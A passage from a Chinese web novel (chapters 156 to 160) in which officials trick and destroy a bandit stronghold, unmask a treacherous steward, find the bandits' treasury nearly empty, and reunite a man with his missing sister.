冯管家被挤兑也不恼,越是厉害的大夫越是有些古怪的脾气,比如爱干净,低头望望自己沾满污渍的衣裳,讪讪嗯了一声,退出房屋,坐在廊下琢磨。 有这样的妙手在,老爷看来没有什么大碍。 之前一直念叨,大爷二爷天生反骨,恐成心腹大患,果然,今日两人欺师灭祖,差点把老爷杀死,要不是老爷吉人天相,这会子早就躺在棺材里了。 想来老爷定然寒心至极,再加上得了府城大人的青睐,是以老爷动了杀心,想将两人彻底绞灭,断尾求生,洗白上岸。 他摸了摸怀中的物件,此物不适合大庭广众之下观看,他作出尿急之态,躲入茅厕,掏出羊皮卷细细观摩。 这份图纸他知道,是沙风寨的修建图纸,老爷从不假于人手,能让嫣儿交给自己,心中定然是恨极了! 他攥紧了羊皮卷,暗暗发誓定要完成老爷的嘱托。 恰在这时,庞忠在院子里喊他:“冯管家,来来来,我们正商量攻打沙风寨,你也来参谋参谋!” 小厅里,魏超坐在上首不动如山,郭守云站在他身后,庞忠虚弓着腰指着沙风寨外面平地:“我们集齐所有人,一起攻上沙风寨!” 郭守云在得了魏超点头后,不紧不慢反对:“不妥!” “沙风寨易守难攻,探子回报,寨墙就有一丈高,上面还设有塔楼,藏匿着弓箭手。而且听说沙风寨存了许多粮食,我们这样强攻,劳民伤财不说,既不能打下来,又不能起围困之效,做的是无用之功。” 庞忠被黄口小儿辩驳,浮现出羞恼之色,翁声翁气:“那你说,该当如何?” 郭守云笑笑:“我们想办法将他们引出来?” 庞忠没好气道:“你当沙风寨头子是傻的,你说出来,他便出来。” 郭守云自信道:“沙风寨在常安县唯我独尊,行事跋扈张狂惯了,二头目甚是好色,我们弄个貌美的娘子来,不信他不出来。” 庞忠也想不出更好的办法,只好点头: “只好就如,然后呢?” 郭守云看了一眼冯管家,笑道:“我们引出二头目后,你们同时行动,冯管家领人伏击出寨的二头目,庞大人着人攻打沙风寨,大头目已经被你们射伤,寨里防守空虚,定能有所建树!” 庞忠点点头:“嗯,是比强攻要好一些!就这样决定。” 他扭头看向冯管家:“你们有什么意见?” 冯管家想了想,为冯保山请功:“我们大人一心为民,心忧常安县受匪患之害,已经早早布局,殚精竭力搜寻多年,找到了当年为沙风寨做工的几个木匠,连猜带蒙弄出一部分沙风寨的图纸!” 他眼角带泪,手伸入怀中悄悄用力,挣断图纸,捧出一半呈现给庞忠。 庞忠跳起一把抢过图纸,看了眼后大笑起来,厚实的大掌重重拍打在冯管家的肩头上,几乎没把他怕睡下。 “哈哈哈,大善,真是天助我也,匪患覆灭只在朝夕!真是我能干的县丞,赏,一定要赏,待此间事了,我定为冯兄厚厚记上一笔!” 冯管家以为他太激动,没有听出里头咬牙切齿的味道,谦虚笑笑:“为民解忧,一直是我们老爷毕生的信念!” 他继续解释道:“大人,不如我带着手下的护卫们去攻打空虚的沙风寨,一来冯家的侍卫以前攻打过沙风寨,对地形更熟悉,二来我们小公子还在悍匪手中,我想快速的救出小公子,三来,之前寻来的木匠是我接洽的,对沙风寨里头的情况,我更加熟悉些,比参照图纸更能灵活机变!” 庞忠愣了一下,意味深长看了眼郭守云,冯管家的反应竟被这个小子全说中了。 他故作沉吟了一下道:“你言之有理,只是沙风寨危险重重,哪能让你们这些衙门之外的人冒险!” 冯管家脸上眸中浮现几分焦躁,心中暗骂这狗官就喜欢假惺惺,你不让我去沙风寨,我如何为老爷扫清尾巴,转移财产。 他一脸的悲壮:“大人,我也是常安县的一分子,也想为常安县尽上一分力气,请你一定要答应我!” 庞忠还在犹豫不决,上首的魏超络腮胡子一抖,虎目圆瞪,一把推开庞忠,“啰里啰嗦,着实讨厌!” 他重重拍在冯管家肩上,语气里全是欣赏:“好样的,我就欣赏这样义薄云天的汉子,就这样干!” 他粗着嗓子命令:“副将何在?” “诺” “你调动八百人马,跟随冯管家,务必攻下沙风寨,剿灭悍匪,护他们性命!” 冯管家本想拒绝,转而想沙风寨易守难攻,里头地形复杂,他带着几个护卫确实吃不下,有了这些大头兵当炮灰,等入了寨,他路况熟悉,定能提前处理干净首尾。 一行人商议好细节,各自回身准备不提。 五日后,六月二四七,宜动戈。 天光微熹,大队人马集结在山坳里,只要转过小山绕过岔道,便是沙风寨。 不一会儿,五六十个骑兵护着蒙面的小娘子,朝沙风寨奔去,那个小娘子身材苗条,白衣翻飘,在一众皂衣彪形大汉之间,如同九天仙女下凡,空灵而又出尘。 冯管家心头定了几分,难为他们弄了这么个尤物来,冯勇的性子他知道,遇见美人如同狗看见了屎,定然入瓮。 等了约摸一个时辰,贴地跑来一骑,来人滚下马汇报,郭副将已经引走冯勇! 魏超大声叫好,命令人马立刻行动。 冯管家自请当先锋队,领着手下的护卫一马当先冲了出去! 没法办,手下这些人和沙风寨看守全是老相识,不提前扫清障碍,一会子嚷嚷起来,暴露了身份,老爷哪里还洗得清! 幸好骑兵已经被郭副将带走,剩下的全是步兵,远远被甩在身后,他还有时间扭转乾坤。 冯管家等人跑马到魏超等视线不及的地方,按照昨夜商量好的,扒开外套,露出里面的麻衣,将怀中的孝布套在头上,一溜烟奔到寨前,他坐在马上喘着粗气,声音悲壮而无奈,喝令看守打开寨门:“冯保山没了,我等无处可去,空有一身本事,特来投靠沙风寨,速速开门!” 墙头的看守面面相觑,前几天才打了一场,二当家天天吹嘘自己的厉害,说是一箭射中了老当家的脑袋,拍着胸口说,等老当家一死,他便带着大家搬到城里的宅子吃香的喝辣的。 大伙只当二当家吹牛,哪知是真的! 守门小头目兴冲冲正要开门,旁边的跑腿多了句嘴:“要不,请示一下大当家?”大当家最不喜欢下头的人自作主张。 冯管家暗骂,郭守云这骗人的计策不行!因冯谋多疑,若他知晓,定然将一干人等绑了再说。绞尽脑汁正要重新编纂些话哄人开门。 正在这时,上面的几个看守却被人从后面打了闷棍,一头栽了下来,门也咯吱,打开了! 第157章 第157章调虎离山 是谁赚开了寨门? 正当冯管家惊疑不定际,寨墙头上露出嫣儿和刘青青的脑袋,两人举着手中的长棍晃了晃。她们后面,几个大汉利索的将没咽气的悍匪补上一刀。 嫣儿丢下手中带血的棍棒冷喝:“老爷醒了,怕你不知变通,派我等来帮忙。愣着作甚,速速动手!” 说完嫣儿对着他挤挤眼睛。 冯管家信以为真,以为是冯保山留下的后招,压下心中的疑虑,不作多想,带着一伙精干的冯家护卫冲进寨门。 这些护卫时常在外行走护送货位,都是以一敌十的好手,没了高大厚实的寨墙阻当,地形又熟悉,如猛虎下山,将寨子里作威作福的监工杀得溃不成军。 外围的监工平时拿着鞭子抽打苦力威风凛凛,这时却被冯家护卫一刀一个,利索的结果了生命,只留下懵逼麻木的苦力,衣衫褴褛原地抱头蹲下瑟瑟发抖。 冯家护卫在前,以锐不可当之势,快速杀进内院,终于遇到了有效的抵抗。 五日前,沙风寨和冯家护卫才经过一场厮杀,平日间的一起喝酒吃肉的好兄弟,刀刃相向,将冯家护卫们打得措手不及,憋屈郁闷,现在扳回一局,冯家护卫们一时斗志昂扬,奋勇向前,誓要把场子找回来。 而且还有后援,一时只听见冯管家等人甚是嚣张痛快的叫骂之声。 “臭王八们,只敢做偷鸡摸狗的勾当。现在躲在乌龟壳里,不敢伸头,全是他娘的软蛋……” “狗-日-的,有卵子的敢出来比划比划……” 救下温如初等人的刘青青微微皱眉,两方叫骂听着不像话,里头的土匪本来表情淡漠,被他们这么一击,情绪亢奋,拳头捏得咯吱响,这是暴躁的前奏啊。 刘青青抬眼看了看天色,焦躁不已,计划里必须一个时辰拿下沙风寨,不然后面的计划受挫。 她顾不得郭守云不准冒头的叮咛,采了一片大叶子,围成个喇叭状,对着里头大喊:“ “各位乡亲,朝廷派了一万大军前来剿灭沙风寨,我们只是先锋队,沙风寨今日,定然被夷为平地,劝你们早做打算,免做无用之功。 我知道,你们落草也是受了冯勇冯谋的裹挟,你们放心,我一定会向将军求情,对你们从轻发落。劝你们快快束手就擒,拿下匪首冯谋,争取将功折罪,免受皮肉之苦……” 正说着,远远地,看到密密麻麻的人影从寨门里整齐鱼贯而入。 她清脆的声音随着喇叭扩散到每一只耳朵里,轻微的变化开始蔓延。 冯家护卫们士气高涨,相对之下,沙风寨的土匪们面色就难看多了。 大当家受伤卧在床上几乎不能动弹,二当家不晓得发了什么疯,早晨看见一个白衣女子甩着块帕子晃了晃,便狗看见屎一样,精虫上脑万事不管,抽调寨子里大部分精锐高手追了去,只留下一寨子的老弱病残。 除了五六个一脸横肉的土匪,因为犯下杀人放火的大罪,跑到沙风寨寻求 庇护,成了冯谋冯勇的死忠粉,剩下的不少肚子里有点弯弯绕绕的喽啰,眼睛里晦涩不明。 眼看大当家生死未仆,二当家性子暴躁头脑简单,外面又有朝廷的正义之师,沙风寨覆灭只在朝夕。 一时之间对未来的迷茫,生死难料的恐慌情绪蔓延起来,不少胆子小的土匪开始窃窃私语:“六狗,我们只偷过些东西,即便被抓了,只用坐两年牢,何必受冯谋等人的连坐,不如降了吧?” “呜呜,我只是被抓来做饭的,犯下的最大罪便是多拔了别人田里的菘菜,我,我不想死……” 各种脱罪之言此起彼落。 站在前面的小头目冯汾听闻诸多言辞,气血上涌,目眦尽裂,反手一刀砍了他身后最先嘟囔的大马猴。 大马猴捂着脖子绷得摔在地上,他抽搐了两下便不再动了,刺目的鲜血流了满地,众人被吓得敢怒不敢言,大家愣神之际,门嘎吱一声开了,冯管家带着人马冲了进来,与土匪们噼里啪啦打了起来。 自觉不会被判死刑的土匪们吓得丢下武器,抱头鼠窜缩在角落,剩下一二十土匪身手了得,冯管家发了狠,势必斩草除根一个不留,用己方伤亡过半换取了对方的全军覆灭。 不用刘青青提醒,等着立功的小喽啰们已经绑了受伤的冯谋来丢在地上,曾经风光无限不可一世的冯谋衣衫凌乱的躺在泥地上,被一桶冷水泼醒。 昏睡中的冯谋被激醒,挣开眼睛,看到四周痛恶嘲弄的眼神,一时有些懵逼,正要说些什么,却被冯管家一刀割在咽喉。 常安县能止小儿啼哭的一代恶霸就此毙命。 刘青青不满的看了一眼冯管家:“我还要审问他呢!” 冯管家揉着因力竭发酸的手臂陪笑:“这人狡猾奸诈,嘴皮子甚会骗人,哪有什么真话,留着他夜长梦多,收拾干净寨子,我们才好对付冯勇。” 刘青青意味深长的看了他一眼,不再多言,部署起接下来的任务。 冯管家脸上带笑,心底发狠:叫刘青青的小少年甚是聪明,又一路跟着他们,莫不是对他们产生了怀疑,干脆一不做二不休,待混战找机会将他一刀做了! 他已经发现,这次平匪的队伍,郭守云和刘青青配合默契,计策穷出,甚是聪明伶俐,至于魏将军和庞忠,粗人一个,不会在意这些细枝末节。 & 冯勇残暴好色,却有一个优点,每日准时上班打卡,巡逻山寨墙头。 天亮时分,他兢兢业业守护自己的领地,按照以往的习惯登上寨门的瞭望台展目四望,四处一片详宁。 他像往常一样正要换个瞭望台,竟然在地平线处,发现了那个失踪已久的小娘皮。 小娘皮骑着高头大马向他奔来,全身随着宝马的跳跃而律动,啧,是个骑马的行家。那一身英姿飒爽瞬间烙在他心间,他发誓,定要将她弄到手里,好好疼爱一番。 女装打扮的郭守云已停到寨门外三十丈处,他冷眼看着冯勇如痴如醉的猥琐样子,眼眸里闪过厌恶鄙夷。 不待冯勇开口,他举起手中的布巾摇了摇,讥笑:“姓冯的,想要么,想要就按照信里说的做!” 听到她提示,冯勇好不容易把目光从他清冷出尘的脸上,移到手中,一块大大的蓝花布映入眼帘,甚是眼熟。 他猛拍脑子,阿西吧,这块布和包裹勒索信的包袱皮一样。 真是终日打猎,今日竟然被雁啄了眼。 想他堂堂常安县第二霸,只有他恐吓人的,今日竟然被人勒索,传出去他脸面何在。 他用他那不多的脑子,立马破口大骂:“娘希匹,你竟敢碰小爷的宝贝,等着别跑,老子让你求生不能求死不得!” 郭守云早在他转身下楼之际,调头就跑。 这一跑便是两个时辰,郭守云充分发挥大妞的脚力优势,遛着冯勇绕着常安县转了好几个来回。 在马背上颠簸了半天,即便小脑简单如冯勇也咂摸过些味来,这小娘皮一直引着他到处溜达,莫不是设了埋伏? 前面的郭守云表面风轻云淡,其实心里也在骂娘,冯勇这贼头子,好似天生体力优于常人,折腾了大半天依旧精神奕奕。 他压住下升腾起来的烦躁情绪,引着冯勇往前面的虎石峡冲去。 常安县地势平缓,天气干燥,难得找出一个可以设伏的地方。 虎石峡就是一个,两边是崎岖嶙峋的山石,中间一条容三马并骑的小路,颇有一夫当关万夫莫开之架势。 到了虎石峡,冯勇勒马停下,他是懒得动脑子,不是没脑子。虎石峡明显是杀人越货之地,这样的勾当他做得轻车熟路,如何会上当。 可是金宝宝贝还在对方手中,那个小娘皮时不时回头瞪他的模样,实在让他抓心挠肺,不追下去,他心有不甘。 他大手一挥跳下马:“弟兄们,跟我来!” 冯勇一鞭子摔在坐骑屁股上,让马儿们自己穿越虎石峡,而他却领着一众手下,攀上虎石峡两侧的山石,利用自身体能优势,快速穿过虎石峡。 出了峡谷,郭守云一直风轻云淡的脸上,看见他们完好无所出现时,终于露出了惊慌失措的脸色。 冯勇露出志在必得的狞笑。 终于,要捉住你了。 他们登上随后而至的马匹开始冲~刺。 峡谷里果然有埋伏,坐骑们多少挂了些彩,少了好些匹。 他有些心疼,但一想到立刻能捉到对面那只活生生蹦跶的野马,这点子心疼早就丢到九霄云外,只剩下满腔的急不可耐。 许是被吓傻了,许是认命了,前面的郭守云竟然忘了跑,呆头鹅一般站立等着被捉。 冯勇策马狂奔,眼看只有十丈之远,风里已经能闻到小娘皮身上的幽香,伸出手准备将他捞到马上,那个小娘皮却粲然一笑:“落!” 他话音刚落,冯勇顿时天旋地转,连人带马摔到了突然出现的大坑里! 待他稳住身形站稳时,发现坑顶四周已经围满了兵士,手中的长矛齐齐对着他,反射着让人胆战心惊的寒光。 香蕉个扒拉,危险的峡谷里没有埋伏,峡谷外空旷的平地才有埋伏。 这,谁躲得掉? 郭守云也站到了坑边,居高临下一鞭子甩在他脸上:“听说,你想睡我?” 冯勇黑黝黝的面皮瞬间肿了一半,都顾不得疼,这声音,这声音,这他妈小娘皮是男的? 他瞠目结舌看着小娘皮变成了俊少年,脸比哭了还难看,半响恍然大悟咬牙切齿:“你,你是官府的人,故意设局害我!” 第158章 第158章剿灭 冯勇后知后觉:“所以,金宝是被你们捉走的?” 郭守云不屑说谎,也不愿当众承认,冷哼一声不置可否。 冯勇炸裂了。 说好的正义之师呢?说好的衙门都墨守成规呢?一切都是骗人的。 不对,也不算骗人。 他不是没和朝廷打过交道,朝廷里的庸官大多如庞忠那般,书呆子一个,满嘴 的律法条文纸上谈兵、循规蹈矩而又古板。 面前这个少年不一样,为了交换几个苦力,不惜男扮女装混入沙风寨,然后绑走了金宝交换。 为了达到目标不择手段,是个人物! 他收起轻慢,脸上浮现出浓重。 是的,现在郭守云占了上风,他依旧不认输,只是担忧金宝。 转而又想,金宝落在衙门里也算安稳,至少不会被撕票,命算是保住了,至于苦头,吃些苦头也好。 捋清楚前因后果,冯勇暗暗蓄力,眼看就要从坑里跳起来。 郭守云一向信奉能动手就不多逼逼,重重挥手。 四周的兵士挥舞着长矛往冯勇身上招呼,冯勇身手了得,力大无穷,却双拳难敌四手。 他双眼发红,握着一双琅琊榜舞得刷刷作响却没有丝毫建树。 他满心不甘,难道今日要命丧于此? 双方激战正酣,面前已经倒下一层,冯勇呼哧呼哧的喘着粗气,眼看己方已经倒下了一半人,而对面却还有密密麻麻的人影围上来,这样下去不行。 他双目一闪,重重踩一脚地下的尸首,咬牙拉过身边的跟班大斧重重甩了出去。 飞在空中的斧头露出不敢置信的目光,前一刻还一起浴血奋战,后一刻后背便挨了一刀,这一刻,他终于明白,为何沙风寨被叫做过街的老鼠,人人喊打。 感受到同伴们射来不满的目光,冯勇惊怒交加,若不是现在还需要这些混账出力,他立马就将人砍了,形势所迫,少不得弯下腰描补一二。 他压下性子大声暴喝:“斧头放心,兄弟们记得你的牺牲!兄弟们,不要辜负了斧头的心意,跟着我杀出去!” 他周围的跟班愣了一下,所以,是斧头让冯勇把他甩出去,打开一条生路么? 不管是什么,趁着那个缺口还未合拢之际,以冯勇为首的匪徒们奋力杀出一条血路,溃逃离去。 庞忠看着逃走的匪徒,跌足长叹:“哎哟,这是放虎归山哪!” 郭守云不置可否。 他原本看上郭勇四肢发达脑子简单,有心收服。 这样的人调-教好了放到手下,不失为一个有力的打手,青华园正缺这样的夜行者,行走在阴暗中,处理一些腌臜事。 除了暴躁无脑草菅人命、精虫上脑之外,这人竟会放冷箭,丝毫没有同谊之情,是留不得了!可惜了,这么一身天生神力。 冯勇浑身带血,领着半群手下颓丧回到沙风寨。 不晓得是因为马群没了力气,还有因斧头之事有了隔阂,跟班们不再围在冯勇身边,而是缀在他身后一丈。 到了沙风寨,冯勇感觉有些不对劲,却说不上来哪里有问题。 正疑虑时,寨们哗啦啦打开,瘸子小跑着迎了出来,拉住马缰绳,谄媚的递上水囊:“二爷辛苦,喝点水解解渴!” 嗯,是他多虑了,沙风寨和往常一样。 他跳下马接过水囊灌了两大口,丢给身后的跟班,颔首挺胸走了进去。一行人才走过门洞,冯勇举目四眺,暗叫不好,外围做活的苦力都不见了! 正要转身夺门而逃,天上掉下一张大渔网,竟将他们所有人网个结实,周围冲上来无数的府兵,远远的举着竹竿对着他们一阵混打尖戳,开始他们还能反抗一二,到后面竟然没有丝毫力气,软软的瘫在地上,任人宰割。 在昏迷之际,冯勇瞪着眼看见一张眼熟的脸,是让他抢回寨子的姐妹花中的妹妹。 匪首全部拿下,冯管家悄悄上前,正要给冯勇一个痛快,却被刘青青身后的大汉止住了,她似笑非笑:“你这杀人灭口的算盘,打得府城都能听见啊!” 冯管家恼怒的跳到她面前:“什么杀人灭口乱七八糟的,这人天生神力,最是难缠,我是怕他暴起伤人复又逃走!” 刘青青懒得和他多说,远远的退到护卫身后,大喝:“动手!” 周围府兵们调转长矛,直直对着他们。 冯管家暴怒:“你这是什么意思?” 他嘴上委屈无辜不已,下手却狠辣,纵身跃起向刘青青劈去。 幸好她身边的府兵早有准备,两人迎了上来,和冯管家打作一团,即便如初,刘青青吓得一屁墩坐在了地上,小脸煞白,双腿发软。 门洞外传来郭守云嘲弄的声音:“什么意思不是很清楚么,自然是剿匪啊!冯管家,不对,是老当家冯保山最信赖的左膀右臂,可对啊?” 不待他说完,后面赶来的府兵一拥而上,将冯管家等余孽团团围住,加入战团。 都是聪明人,稍微在脑子里一过就明白全因后果。郭守云是借他的手铲除沙风寨,好一招以尔之矛,攻尔之盾。 他一直深信不疑,都是因为嫣儿每日传达冯保山的命令,如今知道中计,冯管家满脸狰狞,青筋毕露指着嫣儿:“贱人,冯家给你吃给你穿,你竟然出卖冯家!” 嫣儿躲在人群后倒也不怕他:“我呸,冯保山借由朝廷的名义收人头费,害死我爹娘,是我杀父杀母仇人,我是故意混进冯府的,就是为了找出冯保山作奸犯科的证据。” 她嚷嚷得理直气壮,面上露出一丝如释重负的笑,塑造出一个忍辱负重的形象,不少人为之侧目。 要不是知道其中细节,刘青青差点就信了。 她忘了害怕,作死的朝着嫣儿竖起大拇指。 郭守云眼风扫到她,又气又好笑,好似想起什么,他立马撇下嘴,沉着脸定定的望着她,双眸燃着两簇蒸腾的小火苗。 “可知道错了?” 刘青青缩缩脖子:“我,我……人家有找魏大人借了高手府兵相护的。” 奇怪,为何她不自觉用了人家两个词,好生别扭。 整次剿匪行动,郭守云一直运筹帷幄、风轻云淡,直到,在土匪窝里看见了刘青青。 那一瞬间,一切的淡定飞到了爪哇国。 特别是看到冯管家挥刀砍向她的那一刻,他全身好似被屏蔽了空气,不能呼吸。幸好,幸好,只是摔了个结实的屁墩。 他反复交代刘青青,要老实呆着县衙里,不可以以身犯险,这个不听话的害人精,差点把他吓死。 郭守云回想起适才那一幕,仍旧窒息得喘不上气,心口也钝钝的疼。 越想越是怒火中烧,伸出手在她白嫩的脸颊上,重重的扭了一把:“再有下次,我把你脸蛋扭下来喂狗!” 刘青青愕然不已,捂着疼痛的脸惊怒交加:一向乖宝宝的郭守云,竟然敢打她!打她! 反了天了! 她立马跳起来伸手要反扭回去,可是撞进他眼眶里满满的担心后怕,心口不知怎的一软,扭他脸的手,强硬的转了个弯,在他额头上擦了一下灰:“我,我下次听你的就是!” 说完,委屈的低下头。 被打了竟然不还手,她一定是疯了! 郭守云见她被扭到的脸颊红红的,一时也后悔下手重了些,也不愿道歉,拉过她的手轻轻拍了拍,狠心道:“你记得你说的话就是!” 刘青青正要回嘴,嫣儿跳过来翻了个大大的白眼,“你们小夫妻说悄悄话,可不可以换个时辰,诺,还有好多事呢!” 这么一会,混战已经结束,因魏超下了格杀勿论命令,冯管家等人全部被诛杀。 剩下的便是打扫战场。 刘青青带着郭守云,找到小口小口喝着米粥的温如初等人。听到脚步声,几人下意识跳了起来,僵硬的弓着身。待看清来人,温如初绷直的肩膀微微放下,好似松了口气。 短短几日不见,几个人全都瘦得不成人样,面上不少鞭痕,浑身疲惫昏沉。 郭守云柔声安慰:“大人放心,所有盗匪全部捉拿归案,有功夫在身的已经挑断手经脚经,断然不会再起事端。 大人这些日子受苦了,不若先沐浴更衣上药,好好调理几日,待我们清点完后,再审理不迟!” 其实战后各项杂物安排才是重头戏,可是就温如初这模样,明显是得了伤害应激症,只有先拖一拖。 温如初深感自己状态不对,感激的看了两人一眼:“如此,劳烦你们先帮着清理各项事务。” 两人告辞出来,里头自有带来的伙头兵照顾不提。 刘青青搓搓手,打土匪分银子,这事实在太对她的胃口了,温大人真是一个体恤下属的好官。 她屁墩也不疼了,走路带风忙着往土匪窝的金库奔去。 郭守云看着她笑得弯弯的杏眼,颠颠儿走路,得意得快要把尾巴翘上天,嘴角不自觉的翘了翘,跟在后面。 只是进了金库,就听见刘青青失望的尖叫:“银子呢?土匪的抢来的银子呢?冯保山收来的银子呢?这么才这么点?” 第159章 第159章因果循环 郭守云探头一看,整整一木箱银子,在太阳光下熠熠生辉,约摸有万两银子左右,他眉头微微皱起。 不应该啊,按沙风寨只进不出的尿性,没道理才攒了这么点银子。 庞忠双眼放光,咽了咽口水:“这么多银子,不少了吧!” 看看,万两银子就不少了,庞忠确实穷疯了。 刘青青几乎自闭了,板着手指头算给他听:“沙风寨监工加上土匪、土匪家眷,有三百六十人,苦力合计三千人,这么多张嘴巴,每日光吃饭就要90两银子,一个月要3000两银子,总共一万两,只够沙风在维持三个月最基本的开销。” “现在土匪被剿灭了,但是,苦力们都是被抓来的良民,官府难道不安置么?” 还有铁矿,官府接手过来,等走上正轨开始炼铁,售卖铁器,至少得半年,这半年的饥荒如何熬过去? 庞忠收获了大笔银子的喜悦,被她这么一提醒,瞬间消失。是啊,他有些羞愧,常安县在他的治下,竟然到处是窟窿。 行吧,刘青青实在没心思留在库房被继续打击了,她心安理得的将整理沙风寨库房破烂的杂事,丢给庞忠。 她扭头牵着郭守云:“棉花黑炭呢,走,我们 遛遛狗去!”只有揉一揉两只肉乎乎的肚肚,她的郁闷才会少一点。 心头的阴影终于去掉,她松了口气,想去周边逛逛散散心。顺便借着棉花黑炭的狗鼻子,探探冯谋有没有私藏。 郭守云看她一眼,轻轻抚了抚她因恼怒翘起来的发缕:“棉花黑炭回府城送信去了,这会子估计还在青华园里野着呢!” 刘青青挑眉:“送什么信!” “我估摸着最多明日一定能打下沙风寨。 其他还好,被奴役的苦力,放下紧绷的心弦,若不好好调理保养,只怕要死不少人。之前他们在沙风寨里,我们管不到。现在算是府衙接手,你既然跟着温大人做事,万一他们有个一二,将来扯起来,你免不得要跟着吃挂落。 是以我让棉花黑炭回去送信,让父亲调来大批粮食衣服和药材。” 难怪一整天没见到棉花黑炭影子,她还当两只又去哪儿野呢。 刘青青感觉胸腔热乎乎的,这事她其实也想到了,只是她没有十足的把握,担忧万一剿匪失败,这批粮食落入沙风寨之手,不是上赶着给土匪送血么。 所以还没动,却不知阿云已经提前帮她全部安排妥当。 两人正说着,迎面走来一人,他脸上挂着笑,恭敬的和两人打招呼。 你道是谁,原是给冯勇送上蒙汗药的瘸子。 瘸子撩开面上乱糟糟的头发,感激不已:“恩公,你不记得我了么?” 是有些面善,刘青青眯眼想了一会,惊诧不已:“原来是你!” 这人名叫贺过,她在常平县的时候因发展水路运输,和裴家车马行交恶,这人原是裴家车马行的副掌柜。 因裴家车马行挖断道路,惹了常平县百姓的公愤,裴家车马行将此人打断腿丢出来,以平息百姓的怒火。 是个背锅的,她于心不忍,帮他找了大夫,难为他一直记得。 刘青青心里一动:“所以,我们被困住的时候,是你,给我们送吃的么?”她话语里故意留了漏洞,没指出地点。 贺过好似没听出她的试探,笑道:“那日你们被抓住,我便认出你们来,只是孤身一人,没能救出恩公。”他语气里满是愧疚,而后接着道:“幸好两位恩人有菩萨保佑,得以逃脱躲在草料房,我发现了,自是要维护一二!” 对上了,难怪那日他们躲在草堆里,有人已经近前,后来却转身走了。 释放善意的人,刘青青向来友好。她真诚福了一礼:“真要多谢你,要不是你帮忙遮掩,只怕我们没能逃出恶人之手,哪里有今日站着说话的机会!” 郭守云想得深远些,观他身份,能进内院的土匪,只怕不是被迫的,到时候判决的时候,少不得要帮忙周旋一二,出言保证:“你放心,你救我们在先,还帮忙打开大门,药翻了匪首,算了立了功,我们定然会和大人禀报,你是被胁迫的,还只要你手上没沾染认命,一定给你一个好的归宿!” 贺过摇摇头,满脸愁容:“两位恩人,我来寻你们不是为了这个!” “我是自愿加入沙风寨。我原有一个妹妹,从小相依为命。我腿断了后,家里生计没有着落,全靠妹妹帮人浣衣,才熬过那段日子。” 他面上浮现一丝怀念,那些日子虽然苦,每日间只得些米粥度日,但两人都恢复良民身份,再也不用提心吊胆,生怕惹了主子不高兴,被打骂发卖。 “后来,我腿已经好了,能下地慢慢行走,能做些简单的杂事。我找了份伙计的活计,家里慢慢宽裕,计划着翻修一下家里会漏雨的瓦房。” 他的声音慢慢哽咽:“可是,我妹妹,她突然不见了!整个人消失无踪,生不见人死不见尸!” 她就这样消失了! 我找啊找,从府城找到常安县,都说冯勇喜欢掳人,我悄悄混了进来,可是,整个沙风寨被我转了好几圈,还是没找到! 他已经麻木绝望了,也许,妹妹早已经没在人世,但是,万一还活着呢? 贺过满脸愁苦,面上现出为难之色,觑着两人面色,依旧咬着牙求到:“青华园人来人往,客人遍布整个南安府,求你们帮帮我,让小二问一问来往的客人,有没有见过我妹妹……” 嗯,这个…… 刘青青很为难。 虽然她很同情贺过的遭遇,也很想帮他找人,只是青华园开门做生意,客人们是来玩耍的,让小二逮到客人就问,不合规矩。 青华园不是她一个人的,是所有员工的,每一项政策命令都要经过深思熟虑,不能随心所欲拍着脑子决定。 迎着他满是祈求的目光,刘青青实在不晓得该如何开口拒绝。 一旁的郭守云解围:“青华园是做生意的,你妹妹失踪,找青华园没用,你得找衙门。这样,你先和我们说说,你妹妹年龄样貌,我们也可以帮着一起寻人。” 刘青青应和:“是啊,是啊,寻找失踪人口,衙门是专业的。你说着,阿云画着,画好后把画像交给衙门,衙门找人才能事半功倍。” 贺过绝望的眸子闪过一丝希望,也许真能行呢! 妹妹的样貌他描绘过千百次,再来一次:“妹妹有水汪汪的杏眼,弯弯的柳叶眉,小巧的鼻子,雪白的肤色……” 郭守云打断他:“你这样不行,要独一无二的” 贺过眨眨眼:“对了,妹妹左眼皮上有一颗小痣,约摸芝麻大小……”刘青青不敢置信跳了起来,好似想到了什么:“停,你妹妹是不是叫贺柳儿?” 贺过有些惊讶,有些期待,紧张的拉着她的手臂:“你如何知道?” 郭守云皱了皱眉,将刘青青手臂上贺过的手扯了下来,自己隔到两人中间,对他道:“因为我们逃走的时候,在沙风寨城墙里救了个女孩,她说她叫贺柳儿!” 贺柳儿形容枯槁,和白皮肤水汪汪之类词沾不上边。 贺过紧张得呼吸急促,几乎站不稳,他紧紧抓住郭守云:“我妹妹,她现在在哪?”他小心翼翼问出心底的恐慌:“她,活着么?” 两人对视一眼,因贺柳儿情况不太好,他们把贺柳儿藏在农家修养,留了些银子请个大娘照顾,这几日忙得没空过去看,也不晓得是个什么光景,不知道能不能见到最后一面。 两人没说话,带着贺过,立马往农家奔去。 来到那夜的小院,院子里坐着个婶子在补衣裳,看到他们来,脸上露出笑:“娘子你可来了,你姐姐经我的精心照顾,已经能吃下东西了!” 几人连忙奔到里间,贺柳儿躺在榻上,眼窝深陷,颧骨高耸,静悄悄的睡着那里,要不是薄薄的被子稍微有点起伏,他们都要怀疑这人已经没了。 相比之前形容枯槁,现在的贺柳儿干净整洁,婶子照顾得确实精细。 贺过扑到床边,拉起贺柳儿瘦得只剩下骨头的手:“柳儿,我的柳儿,我终于找到你了!” 这样子的柳儿,显然是受了大罪,贺过满心的疼痛,都怨他,没有护好妹妹。 迷迷糊糊的贺柳儿听到 哥哥的声音,还以为是做梦,睁开眼看见胡子拉扎的哥哥,呜呜咽咽哭了起来:“哥,我,我……” 他抚着贺柳儿的脸颊,眼眶红得酸胀:“活着就好,活着就好,我们兄妹以后再也不分开……” 兄妹重逢抱头痛哭。 几人退出门外,将空间留给兄妹。 刘青青嘘唏不已,这世间的缘分真是奇妙。 她之前救了贺过一命,保全了贺过的腿,后来他们落难得了贺过相助,逃跑路上顺便救了贺柳儿,今日竟然让兄妹于茫茫人海重逢。 也算好人有好报罢。 郭守云听着她长吁短叹,感谢菩萨感谢天感谢地谢个不停,无奈笑道:“这不是菩萨保佑,是因为你见不得苦难,热心出手相帮,才有了这一环扣一环的善果。” 两人正说着,贺过红着眼睛出来,亲切而又恭敬道:“两位恩人,柳儿知晓你们为了沙风寨赃款下落不明烦心,说有些话想告知两位!” 刘青青两人对视一眼,站起身来走了进去。 第160章 第160章安置 两人步入房屋,贺柳儿靠在床头对两人翘了翘嘴角表示谢意。 她眼见的气色好了许多。深陷的眼窝里,一双死沉沉的大眼,恢复了些许清明,泛着生机。 刘青青点点头,只要有了活下去的勇气,对生有了向往,身子可以慢慢将养。 